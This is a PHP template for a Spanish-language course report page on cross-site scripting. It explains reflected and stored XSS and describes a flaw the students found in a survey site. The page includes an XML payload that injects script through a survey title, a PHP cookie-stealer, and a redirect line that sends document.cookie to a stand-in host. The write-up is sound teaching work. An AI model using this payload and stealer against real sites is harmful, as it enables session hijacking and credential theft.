<?php echo use_stylesheet('estilo_reporte.css');?>
<?php slot('actions') ?>
  <ul>
    <li><?php echo link_to('Volver','@homepage')?></li>
    <li> Reportes Teoricos </li>
    <li><a href="<?php echo url_for('vulnerabilidad/reportpharming') ?>">Pharming</a></li>
    <li><a href="<?php echo url_for('vulnerabilidad/reportspoofing') ?>">Spoofing</a></li>
    <li><a href="<?php echo url_for('vulnerabilidad/reportphishing') ?>">Phishing</a></li>
    <li><a href="<?php echo url_for('vulnerabilidad/reportsql') ?>">Sql Injection</a></li>
    <li><a href="<?php echo url_for('vulnerabilidad/reportsafeconf') ?>">Configuraciones Seguras</a></li>
  </ul>
<?php end_slot();?>

<div class="reporte_titulo"> XSS - Cross Side Scripting </div>
                	<div class="reporte_contenido">
                    	  <p>Se lo conoce como XSS para que no sea confundido con CSS.</br>
En general ocurren cuando una aplicación toma datos de un usuario, no los filtra en forma adecuada y los retorna sin validarlos ni codificarlos.</br>
Puede insertarse HTML, Javascript, entre otros, a traves de los formularios o la URL.</br>
Con esta vulnerabilidad es posible robar el acceso de los usuarios y violar la integridad y confiabilidad de sus datos. Por ejemplo robando nombres de usuarios, claves, cookies. También es posible ejecutar código en forma remota inyectando código a través de la URL. La forma mas comun de evitar este tipo de fraude es validando la entrada: longitud, tipo, sintaxis, etc.</br>
Existen dos tipos de vulnerabilidades:
		        <ul>
			  <li><p>Vulnerabilidad No Persistente: Este tipo de vulnerabilidad es aquella en la que el script malicioso debera ser enviado explicitamente mediante el navegador del usuario victima cada vez que el atacante desea ejecutar este codigo maligno. Para enviar codigos maliciosos se utilizan las variables $_GET, $_POST y $_COOKIES. Un ejemplo de esta vulnerabilidad, es que el atacante logre, mediante ingenieria social, que la victima entre en una URL que posee scripts en la URL, lo cual para una persona con pocos conocimientos no tiene nada de sospechoso.</p>
			  </li>
		          <li><p>Vulnerabilidad Persistente: Tiene como caracteristicas que el código malicioso no necesita ser inyectado cada vez mediante el navegador del usuario victima, sino que este código ha sido previamente guardado por el atacante en la base de datos que utiliza el sitio victima. De esta forma cada vez que el sitio recupere y muestre registros de su base de datos, el script maligno estará alli y será ejecutado para cualquier usuario visitante. Es sencillo deducir que este tipo de vulnerabilidad puede resultar muchisimo más peligrosa debido a la persistencia del código maligno.</p>
			  </li>
			</ul>
	            	</p>
			</div><!--Contenido Class End Tag-->
			<div class="reporte_subtitulo">Sobre el trabajo realizado durante la cursada</div>
			<div class="reporte_contenido">
			<p>Para encontrar vulnerabilidades de este estilo fue bastante completo, principalmente por problemas para enviar encuestas modificadas, saltando las comprobaciones. Aunque lo que si pudimos encotrar es una vulnerabilidad de XSS pero no es persistente y es un tanto compleja desde el punto de vista en que el usuario con una cuenta tiene que acceder a realizar una operación, con lo cual, algún si posee conocimientos de seguridad podría revisar el código e identificar el ataque.</br>
En el caso de que se pueda llevar a cabo, se puede obtener la cookie de sesión de la víctima y así obtener acceso al sitio.</br>
El hecho de obtener acceso no quiere decir que la vulnerabilidad sea critica debido a:</p>
			<ul>
			<li><p>Todos los usuarios poseen los mismos, y con esto se quiere decir que no hay usuarios administradores que puedan realizar tareas criticas como puede ser bajas de usuarios y/o encuestas.</p></li>
			<li><p>El sitio solo permite la creación de encuestas</p></li>			
			</ul>
			<p>Otra forma de ataque explotando esta vulnerabilidad, podria ser redirigiendo a la victima a una pagina falsa, donde se le informe de un error sobre la comunicación y solicita datos de login, enviando sin saberlo informacion al atacante, y luego redirigiendolo a la pagina original.

Ahora bien, para llevar acabo este ataque, necesitamos crear una encuestas por medio de un xml, con el siguiente(nota: por cuestiones de implementacion, se han reemplazado los simbolos < > por [ ] ) :</p>
			<p>
			  [?xml version="1.0"?]
			  [!DOCTYPE encuesta [  [!ELEMENT encuesta (campo+)]
			  [!ATTLIST encuesta estilo CDATA #REQUIRED]
			  [!ATTLIST encuesta nombre CDATA #REQUIRED]
			  [!ELEMENT campo (tamano?|opciones+)]
			  [!ATTLIST campo tipo CDATA #REQUIRED]
			  [!ATTLIST campo nombre CDATA #REQUIRED]
			  [!ATTLIST campo tipo CDATA #REQUIRED]
			  [!ELEMENT tamano (#PCDATA)]
			  [!ELEMENT opciones (opcion+)]
			  [!ELEMENT opcion (#PCDATA)]]]
			  [encuesta estilo="Estilo1" nombre="Nombre de una encuesta largo&#60;script&#62;alert&#40;&#39;HolaMundo&#39;&#41;&#60;&#47;script&#62;"]
			  [campo nombre="texto" tipo="text"]
			  [tamano]12[/tamano]
			  [/campo]
			  [/encuesta]
			</p>
			<p>Este codigo al ser exportado y se aplican los cambios para ser almacenados, ejecuta un codigo javascript almacenado secretamente en el titulo de la encuesta, en este caso solamente se trata de un popup con el tipico "HolaMundo".</br>
Ahora bien, un usuario malintencionado podria utilizar este codigo para, o bien robar la cookie de la victima o tambien, redijirlo hacia un sitio de similares caracteristicas para asi poder obtener sus datos de sesion.</br>
Un ejemplo de un cookie_stealer puede verse de la siguiente manera:</p>
            <div class="reporte_codigo">            
                <code lang="php">
		            $cookie = $HTTP_GET_VARS["cookie"];<br />
		            $file = fopen('cookielog.txt', 'a');<br />
		            fwrite($file, $cookie . "\n\n");<br />
			    </code>
            </div>
			<p>Luego, utilizamos JavaScript para redirijir al usuario hacia nuestra pagina:</p>
            <div class="reporte_codigo">
			    <code lang="html">
		            window.location = "http://host/cookie_stealer?cookie="+ document.cookie
			    </code>
            </div>
			Y ya podemos ver nuestro cookielog.txt en busca de los datos.</p>			
		 	</div>
